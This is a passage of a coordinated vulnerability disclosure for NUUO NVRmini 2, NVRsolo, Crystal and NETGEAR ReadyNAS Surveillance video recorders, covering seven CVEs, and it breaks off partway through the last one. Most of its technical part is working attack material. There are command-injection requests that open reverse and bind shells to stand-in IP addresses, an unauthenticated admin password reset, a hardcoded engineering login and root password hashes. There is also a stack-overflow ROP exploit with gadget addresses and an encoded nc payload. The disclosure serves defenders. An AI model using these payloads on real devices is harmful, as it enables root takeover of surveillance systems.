a specially crafted request. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience."
Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc.
The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user.
Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code.
A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released.
Technical details:
1
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below):
function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); }
The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user.
- NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user.
2
Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user).
-
NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root.
-
Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root.
3
Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable.
Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig
This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices.
4
Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected
The web interface contains a hidden page (__nvr_status.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /_nvr_status_.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit
5
Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0
The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices.
NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
6
Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";;#
Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.
7
Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected)
The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters.
Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command);
For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault.
0 0x61616160 in ?? ()
(gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb)
The request can be sent by an HTTP GET or POST method.
A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992
On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002
Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y
An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator).
Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0.
0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack}
Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.
Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).
The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> 